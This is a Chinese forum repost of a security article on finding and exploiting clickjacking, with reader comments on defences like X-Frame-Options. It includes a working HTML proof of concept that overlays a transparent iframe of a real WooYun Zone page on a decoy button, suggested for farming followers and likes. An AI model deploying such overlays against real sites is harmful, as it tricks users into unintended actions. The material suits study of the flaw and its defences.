设为首页
收藏本站
开启辅助访问
用户名
Email
自动登录
找回密码
密码
登录
立即注册
搜索
搜索
本版
帖子
用户
快捷导航
首页
List
论坛
BBS
关于组织
爱生活
Moke|墨客
»
论坛
›
会员互动区
›
公开数据
›
clickjacking漏洞的挖掘与利用
返回列表
查看:
8826
|
回复:
0
clickjacking漏洞的挖掘与利用
[复制链接]
guhetu
guhetu
当前离线
积分
1688
窥视卡
雷达卡
310
主题
10
回帖
1688
积分
管理员
积分
1688
发消息
发表于 2016-6-23 11:04:47
|
显示全部楼层
|
阅读模式
0x00简介
1 说起clickjacking,很多人其实都不知道是干嘛的。比起XSS来说,clickjacking显得比较神秘,乌云漏洞库里面的相关的漏洞也不到10条而已。
2 瞌睡龙之前发过一篇clickjacking的技术文档,主要是介绍clickjacking出现的原因,以及防御的方法。我这里主要是介绍,怎么寻找clickjacking以及怎么去利用。Clickjacking简单介绍
提醒一下click jacking和json hijacking完全不是一个东西额,这里大家不要混淆了。
0x01 案例
说了这么多,不知道有么有理解。看下面的实例吧。
用另一个低级的漏洞向豌豆荚用户手机后台静默推送并安装任意应用
他这里是将自己设计了一个页面,然后上面伪造了一个领奖按钮,然后将iframe嵌套的原网页的推送与其领奖的按钮进行了重叠。
不过不知道是洞主笔误,还是洞主对于clickjacking的描述还是有一些错误。
这里洞主的描述显然是有问题的。
正确的原理应该是这样,这个领奖的页面是在下面,而原iframe的那个页面在最上面。然后第一个图由于将iframe完全透明了,所以用户就只能看到下面的那个领奖页面。然后用户点击领奖,其实是点击了上层页面中的推送。
所以蓝色圈圈那个位置,应该是“上面”而不是“下面”。
0x03 Zone ClickJacking挖掘
之前看到瞌睡龙的这个文章的下面,剑心说要赶紧给zone的感谢加上clickjacking的防御。
然后我看了下,zone的感谢加了个confrim,不过其实这种只是可以减轻clickjacking的威力,并不能得到根治啊,完全可以构造2个点骗用户点击的。
然后zone的关注、喜欢、不喜欢这些功能也没有防御,目测zone应该是完全没有防御clickjacking。不过试了试,乌云主站还是对clickjacking进行了防御的,会检测url有么有被iframe嵌套。
下面给个测试poc,有兴趣的可以自己研究研究更好的利用环境。
#!html
<html>
<head>
<meta charset="utf-8" />
<title>clickjacking demo</title>
</head>
<div style="z-index:999;opacity:0.3;width:500px; height:500px;overflow:hidden;position:absolute;top:20px;left:20px;">
<iframe id="inner" style="position:absolute;top:140px;width:1000px;height:500px;left:-484px;" src="http://zone.wooyun.org/user/px1624"></iframe>
</div>
<button id="anwoa" style="cursor:pointer;z-index:10px;position:absolute;top:225px;left:200px;text-align:center;width:100px;height:57px;">按我啊</button>
</html>
利用这个clickjacking的poc代码,就可以给自己刷点乌云zone的粉丝了。
同时,还可以给自己zone里面的帖子刷喜欢数量。据说这个喜欢数量可是和zone里面的领主算法息息相关的额!
<img alt="SosoImg"/>
mramydnei2014-11-17 17:52:29
我的意思是frame buster防御不了click jacking
px16242014-11-12 01:22:06
恩,演示代码用你的那个在线工具生成的。
gainover2014-11-11 21:25:09
一看点击劫持的代码里的“button id="anwoa"”就是我的工具生成的.
MITM2014-11-11 11:43:15
我觉得直接加X-FRAME-OPTIONS不好么,为什么主站要用Javascript?
白非白2014-11-11 10:58:23
http://seclab.stanford.edu/websec/framebusting/index.php 两篇:一篇pc,一篇移动
px16242014-11-11 08:47:48
嗯,主站已经做了防护了。zone没有防御
mramydnei2014-11-11 03:39:41
主站用的frame buster没用
龍、2014-11-10 19:25:13
学习
px16242014-11-10 16:57:06
。。我去!文章内容被阉割了不少啊!这里更正下,乌云的zone里面的感谢,点击后,会弹出一个类似于confirm的框框(应该是用div写的),所以这里clickjacking仍然适用,不过需要点击两次。如果是直接用的confirm的话,浏览器弹窗会置顶显示在最顶层,所以是可以被发现的。
来源链接: http://drops.wooyun.org/web/3801
回复
使用道具
举报
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
千斤顶
照妖镜
返回列表
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
回帖后跳转到最后一页
浏览过的版块
业内趣事
优秀版主
活跃且尽责职守的版主
荣誉管理
曾经为论坛做出突出贡献目前已离职的版主
论坛元老
为论坛做出突出贡献的会员
快速回复
返回顶部
返回列表